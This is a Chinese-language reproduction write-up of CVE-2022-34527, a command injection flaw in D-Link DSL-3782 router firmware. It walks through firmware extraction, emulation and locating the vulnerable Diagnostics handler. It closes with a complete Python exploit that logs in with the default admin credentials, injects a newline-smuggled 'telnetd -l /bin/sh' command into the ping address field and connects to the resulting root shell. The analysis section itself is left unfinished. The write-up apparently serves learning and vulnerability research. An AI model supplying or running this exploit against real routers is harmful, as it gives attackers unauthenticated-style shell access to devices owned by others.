一、漏洞描述
CVE-2022-34527 D-Link DSL-3782 v1.03及以下版本被发现包含通过函数byte_4C0160的命令注入漏洞,根据已知公开在cfg_manger
文件的代码 sub_474c78
函数中,byte_4C0160
作为system
的参数执行。
固件地址:https://media.dlink.eu/support/products/dsl/dsl-3782/driver_software/dsl-3782_a1_eu_1.01_07282016.zip
二、固件提取
iot@attifyos ~/D/dsl-3782_a1_eu_1.01_07282016> binwalk -Me DSL-3782_A1_EU_1.01_07282016.bin
首先通过查询路由启动信息服务,来找到相关需要验证这个注入漏洞的文件(命令)。
/usr/etc/init.d/rcS
是一个在Linux系统中用于初始化系统的脚本文件。在路由器或嵌入式系统中,它通常是启动系统时会自动运行的脚本之一,用于执行各种初始化任务和设置。直接通过关键字直接搜索server
#Web server
if [ ! -d "/var/boaroot/html/" ] || [ ! -d "/var/boaroot/cgi-bin/" ]; then
/userfs/bin/boa -c /boaroot -d &
/bin/rm -rf /var/boaroot
else
/userfs/bin/boa -c /var/boaroot -d &
贴出的脚本涉及使用 Boa 网络服务器软件启动一个网页服务器。Boa 是一款轻量级且简单的网络服务器,通常用于嵌入式系统和资源受限的环境。这个脚本似乎有以下功能:
它会检查两个目录是否存在:/var/boaroot/html/
和 /var/boaroot/cgi-bin/
。这些目录很可能用于存放网页服务器的 HTML 文件和 CGI 脚本。
三、固件模拟
sudo python3 fat.py ./DSL-3782.bin
默认密码是:admin,进入之后直接关闭页面直接通过菜单栏找到Management >> Diagnostics,看到过较多文章直接使用相关ping功能进行朔源漏洞点!
POST /cgi-bin/New_GUI/Set/Diagnostics.asp HTTP/1.1
抓到的POST包,有个ping功能的asp功能页面/cgi-bin/New_GUI/Set/Diagnostics.asp
快捷方式找asp文件
<%
TcWebApi_Set("Diagnostics_Entry","Type","Type")
TcWebApi_Set("Diagnostics_Entry","Addr","Addr")
TCWebApi_commit("Diagnostics_Entry")
%>a
iot@attifyos ~/D/d/_/squashfs-root> grep -r Diagnostics_Entry
boaroot/cgi-bin/get/New_GUI/Diagnostics.cgi:node_name="Diagnostics_Entry"
boaroot/cgi-bin/New_GUI/Set/Diagnostics.asp:TcWebApi_Set("Diagnostics_Entry","Type","Type")
boaroot/cgi-bin/New_GUI/Set/Diagnostics.asp:TcWebApi_Set("Diagnostics_Entry","Addr","Addr")
boaroot/cgi-bin/New_GUI/Set/Diagnostics.asp:TCWebApi_commit("Diagnostics_Entry")
Binary file userfs/bin/cfg_manager matches
iot@attifyos ~/D/d/_/squashfs-root> file userfs/bin/cfg_manager matches
userfs/bin/cfg_manager: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, stripped
matches: cannot open `matches' (No such file or directory)
或者搜索文件名字:cfg_manager
四、漏洞分析
IDA打开文件后直接shift+F3 搜索:byte_4C0160
后续在更新
五、漏洞利用
EXP
import requests
import urllib
import os
from time import sleep
from urllib.parse import unquote
server = "192.168.1.1"
main_url = "http://192.168.1.1:80"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
}
def login():
s = requests.Session()
s.verify = False
url = main_url + "/cgi-bin/Login.asp?User=admin&Pwd=admin&_=1690122728925"
resp = s.get(url,headers=headers,timeout=10)
print(resp.text)
def get_session_key():
s = requests.Session()
s.verify = False
url = main_url + "/cgi-bin/get/New_GUI/get_sessionKey.asp"
resp = s.get(url,headers=headers,timeout=10)
sessionKey = resp.text
print(sessionKey)
return sessionKey
def exp(sessionKey=None):
cmd = "%0autelnetd -p 8090 -l /bin/sh%0a"
s = requests.Session()
s.verify = False
params = {"Type":"p", "sessionKey":urllib.parse.unquote(sessionKey),"Addr":urllib.parse.unquote(cmd)}
url = main_url + "/cgi-bin/New_GUI/Set/Diagnostics.asp"
resp = s.post(url,data=params,headers=headers,timeout=100000)
print(resp.text)
if __name__ == '__main__':
print("\n[*] Connection ",main_url);
login()
print("[*] Getting session key")
sessionKey = get_session_key()
print("[*] Sending payload")
exp(sessionKey=sessionKey)
print("[*] Running Telnetd Service")
print("[*] Opening Telnet Connection\n")
sleep(3)
os.system('telnet ' + str(server) + ' 8090')
六、参考
D-Link DSL-3782 代码注入漏洞CVE-2022-34527分析- IOTsec-Zone物联网安全社区
命令注入漏洞CVE-2022-34527复现(学习记录)